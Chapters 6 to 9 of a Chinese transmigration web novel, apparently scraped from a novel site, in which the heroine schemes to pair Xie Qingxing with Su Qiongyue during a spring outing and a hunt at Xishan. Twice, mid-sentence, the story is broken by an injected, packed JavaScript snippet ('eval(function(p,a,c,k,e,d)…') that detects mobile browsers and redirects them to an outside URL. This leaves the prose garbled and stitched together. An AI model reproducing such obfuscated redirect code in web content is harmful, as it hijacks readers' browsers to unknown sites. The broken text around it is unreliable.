然而,谢青行很快就解释清楚了原因:“多亏苏娘子邀请我们来赴宴,阿苒说很喜欢方才的胡旋,只是怜惜舞者受了惊吓,想赠些东西给她,但俗物又怕惹人耳目,所以托我来这里取几枝桃花放在面上作装点。” 其实只要细想,便会发现这个借口稍显拙劣,奈何傅苒说得满脸为难,一副眼巴巴的模样盯着他,看起来格外纯良。 反正在谢青行这里,自家堂妹想一出是一出的事迹更多,所以没有什么可深究的,左右不过是帮忙折个花而已。 “原来……是这样吗?”苏琼月脸上的笑容却僵住了。 她满心欢喜,却得到了这样的答复,只觉谢青行好像根本没有把他们的约定放在心上,心底不由得如风起涟漪般层层漫上了委屈的情绪。 委屈变成了恼怒,下意识就要对他发脾气,但想到上次得到的态度,心头一阵翻涌,怒气立刻被潮水般的慌张和无措淹没了。 苏琼月的性格和外表几乎截然相反,她是个极其容易患得患失的人。 只要遭到了一点冷遇,就会开始畏怯和反省自己。 就在这顷刻间,她便已经回想过两人曾经相处的每一个细节,不断怀疑自己究竟是在哪个节点自作多情了。 当然,谢青行一直对她很好,在宫廷的年少岁月里,他也同样为她折过花,擦过泪,违过矩,甚至于担过责罚,但那份暧昧不明的情愫,即便是她,也从未鼓起勇气真正宣之于口。 可是如果,一切只是她想得太多,而他其实根本不喜欢她呢? 7. 第 7 章 谢青行摘下了两三段开得繁盛的花枝,正打算告别,却听见了轻轻的啜泣声。 转过头一看,不由得愣住了。 他好半天才迟疑道:“苏娘子,你怎么了?是有什么不适吗?” 谢青行完全不知道自己到底做了什么把她惹哭了,而苏琼月自顾自一边流眼泪一边想,他总是对她很好。 虽然拒绝了她,但还是这样好;虽然他什么都好,但依旧不喜欢她。 她就这么完成了思想闭环,哭得更伤心了。 谢青行只得先将花枝搁在旁边,掏出了一块洁净的帕巾递过去,耐心等着她慢慢擦眼泪。 苏琼月低着头,哭得抽抽噎噎的,看起来难过极了。他不知道为什么,一时竟心软地觉得这场景有些似曾相识,但很快自嘲一笑,心道必然只是错觉罢了。 待少女的情绪平复下来,他才缓和了语气安慰:“别哭了,有什么伤心的事,说出来也许会好些。” “我能有什么事情……” 苏琼月的声音还带了点抽泣,完全沉浸在自己的世界里,“你为什么忽然对我这样?是不是因为我没能及时去看你,所以你才生气了?可是,可是,我真的不知道你受伤了,当时我在瑶光寺日日礼佛,每天都许愿……” 谢青行虽然不明所以,但还是表示出倾听的态度:“许愿什么?” 然而她被这么一问,竟然像是受了天大的委屈似的,眼眶迅速地又红了起来:“我在佛前求的是什么,别人也就算了,谢将军怎么会不知道!” “……”谢青行只能无奈地想,这话是从何说起,他难道应该知道? 苏琼月却当真是满心的委屈。 她所求的还能是什么,不过是盼望他平安而已。 没有人比她更害怕他出征了,因为她的亲生父亲,就是死在遥远北方的战场上。 那年她甚至不知道自己的姑母会当上皇太后,童年的记忆里,父亲只是怀朔镇上的一个低级武官,遇到柔然滋扰边境时,他就得穿着已经破旧的甲胄上战场。 父亲的离开,就和谢青行一样,常常没有预兆,没有归期,没有音讯,而当时她和母亲什么也做不了,除了等待。 漫长的等待里,母亲或许会抱着新缝补的衣裳,突然哭起来,又或许会急躁地找原因骂她,接着骂到她父亲,最后恨恨地埋怨,“他还不如死了算了!” 事后她明白,这句话不是真心的诅咒,只不过是妇人受不了等待的一种怨气宣泄而已。但坏的预兆往往灵验,有一次,父亲离开了家,便再也没有回来。 然后,就是母亲的改嫁,她被伯父家收养,但没多久,对怀朔边民而言几乎遥不可及的京城传来了消息:皇帝驾崩,她从未谋面的姑母已当上了皇太后,伯父也跟着加官进爵,入朝重用。 于是,苏琼月此生第一次离开怀朔,走进了繁华的名都洛阳。在皇宫华丽的垂帘间,高高的台阶上,见到了她幼年时期所能想象到的最高贵威严、令人仰望的一个女子,而这女子竟然是她的姑母。 像一个被天降好运砸中的人,最初的惊喜之后,就是内心暴露出来的自卑和惶恐。 她刚到姑母身边,因为身份和外貌得到过数不尽的关注。但那些人很快发现,她不通文理,不会礼仪,不识字,甚至连说话也是偏远地方的口音。 有一次,姑母在宫里设宴,让她去和年龄相仿的世家小娘子们逛园子,其中某个女孩向她搭话。她当时受宠若惊,立刻怯怯地回答了,女孩却当着众人的面露出令人尴尬的神色。 “娘子说话怎么这样古怪,我一个字都听不懂。” 众人便纷纷笑了起来,而她窘迫至极,低着头匆匆找个借口走开,还没走到姑母的住处,就忍不住在园林山石的角落里窝成一团,哭湿了衣衫。 那是她最初遇见谢青行的地方。 当时她只顾着自己难过,没发现一块大石相隔之处,还有个陌生的清俊少年。 他大概是想等她哭完自己走,以免两人撞见,却因为帮她支开来查看情况的宫人而暴露了行踪。 其实苏琼月虽然有美人的名声,可是在他面前,不知道为什么往往很狼狈,根本没有什么光彩靓丽的时候。比如初见那天,她哭得稀里哗啦,又兼之惊慌失措,脸上和身上都乱糟糟的,别说气质仪态和风度,连平时能装点一下门面的美貌也半分都看不出来了。 少年有种和嘲笑她的人们相似的高雅气质。不同的是,他既没有看不起她,也没有试图打听她为什么哭成这样,只是无声递给她手帕,让她擦去颊边被风吹凉的眼泪。然后他坐回山石后的原位置,背过身,静静等着她继续宣泄情绪。 从那一天起,总是如此。 他让人感觉到安定,感到风歇雨停,万籁宁静。 可是苏琼月丝毫没有想过,当他有朝一日不再做这个永远陪伴着她的人时,她又该怎么办。 与此同时,傅苒在相距一段河流的水边暗暗观察花林里的情况。 就算她已经快迈到了河边上,对岸的具体情况依然看得不是太清楚,但至少能望见两人的距离相当接近,仿佛很是亲密。 看起来不错嘛,应该大有进展。 她满意地为自己的机智点了个赞,准备打道回府,寻机替小情侣的私会打一下掩护。然而遽然间,身后有道充满怀疑的声音突兀地响了起来。 “你在干什么?” 傅苒被猛然吓了一跳,刚转回身,眼前出现了一个她意想不到的人。 竟然是谢晞容。 小女郎满脸提防之色,很不高兴似地睨着她,像是怕她掩盖什么,谢晞容甚至不等回答,就蹬蹬两步上前越过了她,自顾自观望刚才傅苒所看的景象。 此时,谢青行和苏琼月的身影已经被花簇隐隐盖住,看不清神态。但身上的衣衫,依然明显地昭示出两人的身份。 傅苒还没来得及阻止一下,她就倒吸一口凉气,蓦然捂住了嘴,本就圆溜溜的眼睛这会更是睁得滚圆,不可思议般地看着她。 “你竟然,竟然在此偷窥我堂兄和苏……你,你真是不知廉耻!” 有没有一种可能。 其实真正的谢苏头号cp粉就在你的面前。 但谢晞容明显大为震撼,一点也没有要听她辩解的意思,当即气急败坏地跺脚:“堂兄待你那么好,没想到你居然是这样的人,不对,我就知道你是这样的人!你等着,我肯定要向伯母告发此事!” 她越说越怒气冲冲,看也不看傅苒一眼,立刻转了身就要去告状。 “等等,小心!” “你干什么别碰我——啊!” 谢晞容下意识躲开了想要扶她的傅苒,往旁边迈开一步,但突然间,脚下猛地向前一滑,整个人都失去了平衡。 不出所料,在河水四溅的动静后,她半边身体都摔在了水里。 “……”谢晞容呆住了。 因为到处都又湿又滑,倒是不怎么疼,就是很震惊,而且很丢脸。 岸上的傅苒无可奈何地维持着想拽住她的姿势:“这里到处都是被河水浸透了的湿泥,得踩在石头上才能站稳,我应该提醒你的……” 小女郎就这么呆若木鸡地凝滞了,脸色涨得越来越红。 半晌,她忽然用袖子擦了擦被溅了一脸的水,抬头瞪着她,凶巴巴的:“那你愣着干什么,还不扶我起来!” 傅苒看着她犹豫两秒,还是俯身伸出了手,但也悄悄用力抓住了旁边的树枝。 她倒不是不想扶,只是感觉谢晞容演技太拙劣,那点不怀好意的心思都快写脸上了,很难不想起愚人节里磨刀霍霍的同学们。 可谢晞容心里比她更虚,见她伸手,不及细想,立刻急切地紧紧握住,随即猝不及防向后大力一扯。 谢小娘子的思维很纯粹,那就是既然已经丢脸了,就不能只有她一个人丢脸。 然而,因为傅苒牢牢拽住了结实的枝桠,她手上又沾了泥水,是以这气势汹汹的一拉直接滑脱了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我家娘子不喜人群纷扰,特意选了此处以观河景,只是水声喧哗,故而方才未曾听见娘子的脚步声,不知小娘子可有何事?” 一番话说得顺畅且滴水不漏,既解释了在这里的正当原因,也摘干净了自身,表现出一副我们刚才什么都没听到的姿态。 显然,对方是个非常伶俐的人。 不过傅苒本来也不是为找麻烦而来,想到谢晞容恐怕还湿着衣服,于是顺台阶就下了:“抱歉,我也不是故意要打扰你们,只是想借样东西而已。” 婢女似是松了口气道:“既然如此……” “白蘋,”亭子里传来一道清冷的声音,“让这位娘子先进来。” 婢女话音顿止,顺从地依言让开道路,露出了被挡住的亭中身影。朱漆的梁柱阑干间,先是天水碧色的裙裾,视线向上而去,才见到一个姿仪端秀的年轻女郎,正恬静地敛衽致意,向傅苒微微一笑。 “相逢不识面,岂不失礼?” 女郎比她想的还要更善解人意,都不用傅苒酝酿一下说辞,就领会了她的意思,向立在身后的婢女道:“方才的话我已听见了,青荷,把我的氅衣拿给这位娘子吧。” “河边水凛风急,虽是春时好景,却可惜不胜清寒。我观姑娘衣裳确是有些单薄,若不介意,这里原本多余备了件氅衣,或许可解一时之急。” 女郎解释的语调轻缓,言谈中,便从侍婢手中接过大氅,亲手交到傅苒手中。 她处事分寸极佳,虽然并没有透露自己知不知道刚才的事情,但又仿佛隐晦表达了这一点。 反正帮忙就已经很好了,傅苒接过厚暖的鹤氅,先是认真地谢过了她,然后又想起什么:“娘子的好心,我必定会转告家人的,不过……我到时候该怎么归还衣物才好?” “举手之劳而已,不必介怀。”女郎对上她的双眼,目光柔和。 “若是实在要还,只需寻内城西面崔家宅邸,说是二娘子之物即可。” 8. 第 8 章 谢晞容从踏上回府的路,就不断对傅苒怒目而视,但进了门后,却忍住了没说出偷看的事,只是越想越气,又转过头重重瞪了她一眼。 “你别以为这件事过去了,要不是为了表兄,我才不——阿嚏!!” 傅苒:“……好好好,你回去记得喝碗姜汤,别受寒了。” 然而第二天,谢府便有下人说起小娘子因为贪玩着了凉,被母亲陶氏勒令卧床休息的事。 由于事关长兄名誉,任由陶氏问了半天,谢晞容居然都忍住了没告状,只不情不愿地说傅苒帮她借了崔家娘子的衣物,让母亲帮忙还回去。 “崔家二娘子?晞容上巳节碰见她了?” 东郡公夫人刘氏端坐案后,听自家妯娌絮叨了半天女儿的不省心,终于从话里捕捉到这个名字,回忆和崔家的往来。 刘夫人主理府上一应事务,和别家人情联络大多都要经过她。 因为谢府规模不小,但人口相对其他权贵人家来说略简单。谢老太公夫妇都已驾鹤西去,目前常住在家的就只有两房,即东郡公谢易和其三弟谢运,其余两个兄弟都在外任职。 谢运官职不高,远比不上兄长,夫妇两人又都不爱麻烦,所以府里既没有各房矛盾,也没有管家权纠纷,大小事几乎全由刘夫人做主。 陶氏道:“她倒没碰见,说是青行的义妹碰见了,向人家借了件衣服。” 刘夫人已经从刚才的叙述里知晓了那天的事,饮了口热茶方问:“晞容不肯说为什么落水?” “别说了,她一提到这个就支支吾吾的,”陶氏压低了声音,身体凑得更近了些,“这话我也就私下同你说说,我看,她好像不大喜欢青行的义妹,但我问她落水是不是因为那姑娘,她又说不算,弄不清怎么回事。” 闻言,刘夫人这才缓缓放下瓷杯,沉吟了片刻。 她因少时操劳而落下过病根,身子骨向来不大好,上巳之前就有些不适,为避免再吹凉风,便索性没去踏春,所以是听陶氏抱怨后才知道此事。 不过刘夫人到底是看着谢晞容长大的,知道她脾气虽有些任性,但大事上拎得清。既然她坚持不肯说原因,那多半是牵涉到了需要讳言之事,想必多问也是问不出来的。 想到这里,刘夫人拍了拍陶氏的手,宽慰了两句。 “如此说来,崔二娘子是一片好心,而且崔家门风清正,她定然不会在外传扬什么,衣裳我命人备礼一并送还给崔家就好了。” 陶氏先连连点头,表示赞同,而后犹豫着清了清嗓子,终究没憋住一颗想打探八卦的心:“既然都说起了,我多嘴问一句,青行那个……到底怎么回事?” 认干亲这种事,实在让人很难不遐想,她早就暗自好奇了,只是碍着长辈的面子,说出来未免有拿小辈嚼舌根的嫌疑。 好在刘夫人知道陶氏心地不坏,只是嘴碎罢了,平淡道:“她于青行有救命之恩,仅此而已,旁的你知道,我是不好说太多的。” “哦,也是,也是。”陶氏听了这句,便知趣地打住了话头。 言外之意她也懂,刘夫人虽然是如今的当家主母,但却是续弦,而谢青行是原配的儿子,继母嫁进来时,他年纪都已经十余岁了。 虽然两人彼此以礼相待,但因为谢青行已故的生身母亲,到底有层隔阂,关系也始终算不上亲密,所以,向刘夫人问这话是不太方便。 陶氏赶紧找了个台阶,把先前的话题圆过去:“青行从小是个闷葫芦,何况他们年轻人的想法,最难猜不过了。” “是啊。”刘夫人面上也一笑揭过。 虽是不便提起,但对于陶氏好奇的部分,其实谢青行的确解释过,是因为傅苒的父母都已离世,要是放任一个弱女子继续独居于战乱之地,总归让人于心不安。 东郡公谢易本就是个极其看重情义的人,知晓缘由之后,二话不说就同意了认义妹这事,刘夫人当然也无不可的理由。 但老实说,除却这一层关系以外,她对傅苒的记忆不深,只记着是个纤弱而秀气的小姑娘,并非一眼就会给人留下深刻印象的那种人。 只是不知为何,她总觉得这个女孩似乎是个极大的变数。 即便不能对陶氏言说,于她的私心……自然是偏爱苏家人的。 她嫁给东郡公之前,和当今太后曾同为宫女,情如姐妹,若不然,苏琼月也很难一而再再而三地借着探访她的名义来谢家拜会。 然而私心归私心,命中的因缘际会,谁能说得准呢?就算是她自己,何曾又料到了今天。 刘夫人用帕子点了点茶水的湿痕,照旧平常地吩咐侍立在两旁的婢子。 “备礼,给崔家送去吧。” * 谢府书房里,傅苒正捧着一本从书架顶上随便找出的地理志翻看。 说到这个状况的起因,还是她平时在府里闲得太无聊,所以主动向谢青行申请了书房的借阅权限。他对此倒是很赞成没错,但傅苒很快就发现,男主估计是个典型的实用主义者。 因为除了少数经史典籍以外,他的藏书里压根找不到几本文艺作品,放眼望去,内容不是兵书就是地理人俗、风物百工等方面的著述。 毫无水分,全是干货,就是有点太干了。 好在她兴趣还算广泛,当年连郎道的物理十卷都陪朋友生啃过,所以也能接受,只是得对照着墙上的禹贡九州图,试图弄清楚书里那一大堆河流城县的方位。 可惜傅苒理论尚佳,但实用的方向感相当渺茫,看了半天还是觉得乱糟糟的,于是转过身,准备从附近的书架里找几本其他书来参考。 一回头,视线对上了身后不知道站了多久的人影。 “!谢公子?”她下意识噔噔后退,直到看清了人才放下心来。 “只是见你太过入神,就没有出声打扰。” 谢青行见她行动惊慌,还险些撞翻了身后盛着香花的瓷瓶,无奈道,“怎么吓成这样?又不是在作贼。” 这倒不至于,单纯是因为最近谢青行回来得实在太少,导致名义上是他的书室,眼看着都快要被她一个人占据了…… 傅苒不好意思地抿唇一笑,把手中的书合了起来:“谢公子来书房是有什么要事吗?” 谢青行向她展了展手中纸张的一角:“我明日不当值,恰好府上又收到了一位友人的手函,所以来给他回信。” 他因为战功和天子信任,已经升任为侍中、殿中尚书,负有掌宫内兵马以及典宫殿禁卫的职责,要是有临时任务委派,便经常会直接夜宿于宫廷,导致在家的时间比以前大为减少。 所以从上巳之后,傅苒见到他的机会也不多。 为了表示自己的弥补之意,她殷勤地给他铺开信纸又磨起了墨,顺便关心道:“天色这么晚了,回信要是不着急的话,不如明天再写吧。” 谢青行耐心解释:“这封信是从青州托人捎来的,路途遥远,单是传信便要在路上耗好几日,还是早些回复为好。” “也是哦,对了,说到青州——”傅苒忽然被这句话提醒了,“之前公子说过的流民安置的事情怎么样了?” 她本来就是从青州而来,知道那边由于战乱的缘故,有许多人已经无地可居。谢青行已经写过一份奏章向皇帝禀报这件事,现在他病休结束,朝堂的安排应该也下达了。 其实女配的身世虽然可怜,在动荡中却不是个例,像她这样的人还有许多。 所以说起来,她能遇见男主都算得上幸运的事情了。 谢青行的笔锋停顿了下来:“是我忘记告诉你了,陛下已经下旨,令青齐之地的流民徙于京师就食,此事交由河南尹来督办。如果顺利无误,他们的户籍便会分配在周围的诸县,再由仓曹发放赈济。” 重新定居不是件易事,但如今,这已经是多方协商过的结果了。 他沉吟片刻,又道:“只是朝中并不太平,近来李家的案子太大,有不少人牵涉其中,恐怕一时半会难以脱开手脚,大约会进展得慢些。” 说到这里,谢青行抬起头,神色温和地向她笑了笑,仿佛安慰。 “但在天子脚下,流民总会被妥善安置的,不必太担心。” 傅苒先是为那些人的归宿而怅然地点点头,然后忽然从他的话里惊觉关键词。 李家的案子? 还闹得很大的,不会是原著里的中书令李怿谋反案吧? 李怿可是太后的情人,常常出入宫闱,在苏琼月的记忆里,是个风趣儒雅,时不时就会给她带来各种小玩意的和善长辈。只是从某天起,他再也没有出现过。 关于他所谓谋反的罪名,女主还是过后才渐渐了解到,此时大概一无所知。 但这样看来,剧情中的某些变故已经在暗中发生了。 “阿苒?阿苒?” 谢青行不解地看着突然开始走神的她,“怎么了吗?” 傅苒这才意识到自己的失态。 为了转移话题,她 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少女暗藏的情思如许,婉转又动人,可惜,收到的人后来不仅忘却了她,也忘却了这份心意。 但这可是重要任务物品啊! 傅苒马上来了精神,开始兢兢业业地充当推动剧情的工具人:“我看公子从没有开启过,会不会里面装着什么有用的书?万一放太久,被虫蛀了怎么办,不如索性趁现在检查一下吧。” 虽然由她来提议,确实会有点突兀,但谢青行在这些小事上,是一向很少给出拒绝回答的。 然而这次,他出人意外地摇了摇头:“天色已经太晚了,即便有什么要收拾的,也不是紧迫之事,不妨过几日再说。” 想必是蛊在发挥作用,让他潜意识里,就会不断避开任何与苏琼月相关的回忆。 傅苒还不死心,试图从另一个角度提醒他:“也不一定是书,有可能是别人送给公子的礼……” 话音未落,她猛然感到心口一阵强烈的绞痛。 像是有什么东西在上下翻腾,牵扯到其中最细微的神经,疼痛锐利得如同刀割,直接打断了快要出口的话。 【警告!警告!】 【宿主正在遭遇忘忧蛊反噬,由于初次违规,本系统已自动提供‘疼痛减免’一次。再度提醒,请不要自行违逆任务行为守则!】 脑海里响起了一个声音,是挂机已久的系统终于蹦出的提示。 “……”傅苒蔫巴巴地闭上了嘴,感觉系统的四十米大刀已经快要当场架到自己脖子上了。 这就没办法了,她只好硬生生地把话憋了回去,悻悻准备告退。 “阿苒,先等一下。” 看起来正陷入思索的谢青行忽然出声叫住了她。 难道提醒这么有用,他居然真的想起来了? 傅苒心中一动,顿时满脸期待地又坐回了案边:“谢公子,怎么了?” “我想……” “我是想问你要不要出门走走。” 结果纯属虚晃一枪,谢青行脸上只有瞬间的疑惑掠过,而后仿佛记忆骤然空白似的,半途提起了一件完全不相关的事情:“……过些日子,你想去西山打猎吗?” 果然还是,等等,打猎? 她没顾得上失望,就立刻精神紧绷了起来。 狩猎这种事情听起来很激动人心,但在小说里压根不是这样。 就像宅斗文里的宴会一样,它例来占据古言里的意外频发高峰期,剧情通常不是光荣负伤就是直接坠落悬崖,多半还附赠孤男寡女崖下共处一夜。 尽管如此,傅苒还真不能不管,因为接下来,就到了原著里的一个重要虐心情节。 女配会先在男主面前装作被女主推倒,扭伤了脚踝,然后再引发男女主的争执矛盾。最后,凭借高超的绿茶功力大获全胜,以小鸟依人的姿态被抱回马车上,让女主目睹一切并且伤心不已。 救命啊。 想想就知道,她怎么可能有这个操作水平。 傅苒心中万分不情愿,却因为系统的要求又不能直接拒绝,本着挣扎一下的心态,试图委婉地暗示男主。 “呃,谢公子,不是我不想去,但我既没学过骑马也不会射箭,要不还是算……” “这有何难。”谢青行当即应下,顺便给了她一个笃定的笑容。 “放心,我会找最好的骑师教你的。” 9. 第 9 章 “你看,这里是箭镞,尖头用以穿刺,末端有倒钩,只要透过了表层的皮毛,就会牢牢嵌在肉里,很难拔出。尾后是箭羽,以硬韧的飞禽翎羽制作,能让你的箭射出后保持稳定的方向。” “用左手虎口撑住弓,把箭搭在上面,右手戴了护指的位置来拉弦,当心,不要压到尾羽……” 傅苒在谢青行的反复指导下,拉开弓弦,对着前面树上画的靶子比划了好半天,手一松射了出去。 随着“嗖”的一道破空声。 箭头没入了前方的地面中,连树皮也没擦破。 她赧然擦了擦额头上渗出的薄汗,讪讪道:“谢公子,不然你先去打猎吧,我自己再练一会就好。” 从上次提到狩猎之事后,谢青行确实派了人帮她提前训练,但因为时间太短,只着重学习了骑马的部分。所以她这还是初次尝试射箭,战绩很不怎么样。 一开始是因为没熟悉,后面的几次则是力气差了些,没办法,原身的体弱是个从小遗留的老毛病了,不是她马上就能锻炼出来的。 “没关系,我经常有狩猎的时机,陛下四时田猎,春蒐秋狝,大多我都会陪同,不必急于一时半刻。” 谢青行丝毫没有急躁,很体贴地扶着她的手臂又向上略抬起了几寸,“其实你刚才的姿势很好,只是瞄准的地方太靠下了,因为箭射出后会偏移方向,所以起始时应该比靶心实际的位置更高些才对。” 不得不说,他的教导确实很细致,姿态也彬彬有礼,并无任何逾矩之处。但为了能指正动作,两人的距离还是靠得比平日里近了很多,远远地望过去,免不了有些过于亲昵。 傅苒瞥了一眼不远处神情郁郁的苏琼月,又爱莫能助地望向一心教学的男主,觉得她心好累。 不怪她不积极做任务。 都是因为直男真的带不动。 灼灼的日光下,没射中的箭矢七零八落散了一地。 另一边,连亘的林木树荫间,微风带来些许清凉,驱散了五月间的炎热。 平原公主穿赭红色骑装,牵着一匹棕鬃黄脊的高大骏马,走到了苏琼月旁边。 “还盯着你的心上人?怎么,你们最近闹矛盾了?” 晏明光对苏琼月的那点心事了如指掌,否则以她父亲咸阳王和谢家连交好都谈不上的关系,两边哪里会有这么多来往。 苏琼月却满脸失落,低着头闷闷地一时没说话。 其实方才晏绝也来关心过她,只是她情绪实在不佳,提不起精神,没说几句就敷衍了过去。 从上巳之后,她生平第一次开始不知道怎么面对谢青行了,诚然,他对她还是那么温柔……可却也突然变得疏远。 她不明白,这是不是意味着一种委婉的拒绝。 但晏明光等她早就等得快不耐烦了,催促般地摇了摇她的手臂:“到底怎么回事?我都已经等你好半天,人早走光了。你给我说清楚,不然下次我绝不再帮你忙了。” 虽然纯属为醋包饺子,完全是出于方便好姐妹的目的才凑起了这场夏猎,但表面功夫还是要做的。除了谢家之外,晏明光也另邀请了和咸阳王府有交情的几家,所以来者不算少。 不过因为陪着苏琼月磨蹭,他们大多数都已经三三两两地自行带随从去山中打猎,连谢晞容也早就等不住,同其他人一起出发了。 “明光,我……”被打断的苏琼月纠结了半晌,因为心里头太乱,只能茫然地向好友寻求建议。 “如果我,我不知道他是不是喜欢上了别人,你说要怎么办?” “就为这个?” 晏明光诧异地顺着苏琼月的朝向看了看那边的状况,“我上次就想说,谢郎君身边怎么会添了新人……不过,你也顾虑太多了。” 苏琼月疑惑地抬起头,见姐妹脸上浮现出不屑的神色。 “又不是什么人都值得你放在心上,便是想攀谢家的高枝,也要先看看自己的模样。就算你现在去把人赶走,她敢对你说什么?” “不是这样的,明光,不能这样!”即便心乱如麻,苏琼月也不觉得以势压人是好事,“如果景逸他真的……真的……” 她的声音逐渐低了下去:“他会讨厌我的。” 晏明光闻言拧起眉头,恨铁不成钢地哼了一声。 她性格强烈,爱憎分明,既然认定了对方是好姐妹的情敌,当然不准备客气:“那难道就这样放着不管了?行,你不做就是,我来做。” “明光!”苏琼月一惊,连忙抓住好友的手想要制止,“我知道你是为了我好,但我自己能解决的,你、你千万别动手!” “放心,不会怎么样的。”晏明光任由她拦着自己,却丝毫没有动摇,嘴角溢出一丝轻蔑,“谁说我要自己动手了?只不过在我的地盘上,给她个小小的教训罢了。” 此次围猎的狩场所在,是洛阳城外的西山一带,山岭连绵,走兽繁多。 不过这种狩场的形式,通常和普通猎户为了谋生而进行的捕猎又不一样。 达官贵人们的狩猎,事先就会规划好路线,有专门的熟手提前设下过针对野兽的陷阱,另还有家奴在前路上早早地打草惊蛇,把猎物从潜藏的窝巢里赶出来,以节省寻找的功夫。 所以有收获基本上是板上钉钉的事,就算贵人自己实在太废,带的那么多随从也不可能干看着。 于是,傅苒很快就发现她不会射箭的借口找得没什么意义——反正其实用不着她动手,指挥别人就可以了。 那她的进度要怎么办! 不对,男主现在看起来连打猎都不准备去了,大有不教会她就不肯走的意思……这个问题更完蛋好吗! 山风吹得树叶不住地哗哗作响,闪烁的阳光更让人的心头添了一丝浮躁。就在傅苒累得手都快抬不起来的时候,忽然听见身后传来了熟悉的少年音色。 “傅姑娘似乎不怎么善于射术啊。” 她放开了手上的弓弦,回过头目光一扫,晏绝赫然正抱臂斜倚在栓马桩旁,不知道已经旁观了她多久。 他意有所指地瞥了眼空落落的箭靶,语气带着凉薄的揶揄:“如果我没看错,你好像已经快用空一只箭囊了……难不成,是因为谢侍中教得太敷衍了?” 小病娇还呆在营帐这一点也不奇怪,毕竟女主都没走,奇怪的是他不上赶着去关心女主,居然还有闲心跑来看笑话。 傅苒腹诽了一下他这种拐着弯也要阴阳情敌的行为,不服气地扭过头。 她本来已经累得不太想继续了,但想到谢青行教得这么认真,还要被说敷衍,顿时有种非要证明给他看的感觉。 而且她练得也不烂,只是乏力造成了偏差,最后一次,她专心地抛开疲倦,全神贯注瞄准了靶,这才松开手。 随着“笃”的一声。 这支独苗竟然很给面子地插在了树靶边缘。 虽然还是有点歪,好歹也是上靶了,傅苒回敬似地斜睨了他一眼,然后兴冲冲地仰头望向谢青行:“公子,你看我——” “不错,你果然进步了很多。” 还来不及高兴几秒,谢青行就充满赞许地又往她手里塞了一支箭,看她的眼神满是欣慰,活像教了学渣八百遍才终于看到对方做对了题目的老师。 可惜老师吐出的是魔鬼般的发言:“只需要多练习几十遍就好了。” ……你就不能解一下风情吗! 幸好这时身后一阵马蹄声响,晏明光正好牵着苏琼月策马过来,公主清亮的嗓音不由分说地插入进来,阻止了他这种拔苗助长的行为。 “郎君听说了吗?刚才有人在在北林那边见着了赤狐出没,毛发竟然是红艳如火的颜色,寻常时候极少能得见,要不要一同去看看?” 晏明光不等他回答,又紧接着道:“下个月是太后陛下的生辰,要是今日能猎到这样的狐皮,到时候为太后献上寿礼,岂不是正好合意。只是单我和琼月两人去,恐怕没有十足的把握。” 晏明光边说边给了好友一个“看我都为你自谦成这样了”的眼神,悄然捅了捅苏琼月的后背,示意对方赶紧抓住机会。 苏琼月反应过来,连忙跟着道:“嗯,姑母喜欢红色,但我很少猎过狐狸,听陛下说谢郎君于狩猎上颇有经验,还想请你帮一帮这个忙。” 两人一唱一和,缘由也很合理,不过谢青行犹豫片刻,还是下意识先回头望了望傅苒。 傅苒都快盼得望穿秋水了,对他连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419398|168959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连点头,恨不得马上把男女主和助攻一起打包送走:“既然是难得的机会,谢公子千万不能错过。但我箭法不好,就不去了,我留在这里等你们回来吧。” 连平原公主都献上了倾情助攻,这么好的时机要是不把握,她的任务哪年才能完得成。 谢青行却不放心地蹙眉:“可你独自一人在这里练习,是不是会太过于无聊了?” 他说话间,视线也从空荡荡的帐篷间扫过,不经意地正巧对上了旁边的晏绝,由不得停顿一瞬。苏琼月显然也注意到了这点,咬了咬唇适时地提出建议。 “反正阿真也还在,要是怕傅姑娘无聊,不如就让他们两个结伴同行好了。” 这个方案倒是提得很大胆,但小病娇显然不是那么好说话的。 傅苒一点也不怀疑他会毫不犹豫地拒绝,可是下一刻,女主便拽住他的衣袖晃了晃,略带了点娇气和恳求意味地看着他:“阿真,你说是吧?” 苏琼月一眨不眨地望着他,眼神里写满了期待,还有种无所顾忌的信赖。 就像他们在宫中度过的幼年岁月里,她常常每每感到不安时,也会流露出这样亲近而依赖的神色,尽管那些日子……其实已经过去太久了。 “……”迎着她这样的目光,少年顿了顿,语气忽然柔和了不少,“那便按阿姊说的办吧。” 看来她还是低估了女主的影响力。 这下唯一不情愿的就变成了傅苒,她下意识想婉拒,可转眼注意到平原公主对苏琼月其乐融融,瞥向她时却明显透着不善的眼神,顿时后知后觉地意识到了另一个被忽视的问题。 最初穿书的时候,她就从系统那里了解过,书中世界的剧情在某些主要节点上是有一定自我修正能力的。 所以如果这里她不走的话,将要发生的就该是原著情节:晏明光故意派人暗害女配,但苏琼月中途才因为闺蜜说漏嘴而得知,赶回去查看情况,却被女配误以为她是来嘲讽自己的。 其中的过程稍显混乱,总之最后,当谢青行回来时,正好见到拉扯之中女配疑似被苏琼月推倒,扭伤了脚踝,而且见了他也不解释,立刻就是一副潸然泪下不胜委屈的模样。 再加上,根据旁边谢家家仆的叙述,又是晏明光的手下找茬在先,苏琼月推人在后。何况所有人都知道公主与苏琼月交好,这事怎么看都只可能是出于好姐妹的授意。 因此谢青行理所应当地误会了一切,可偏偏苏琼月有嘴也说不清,双方就这么不欢而散。 但要命的是,对读者而言,这段情节的重点全放在男女主之间的虐心苦情和误会上了。 描写都是围绕女主的心理活动,到具体细节上基本就一笔带过,傅苒甚至不知道公主准备怎么来害她,也无从防备起。 想到这里,她赶紧改了口:“没事,我自己随便找个地方休息会就好,用不着劳烦殿下。” “那怎么行,”谢青行并不赞同这个提议,“你没来过西山,不熟悉地形,也没有参加过春猎,万一走岔路遇到危险怎么办?不然我陪你——” 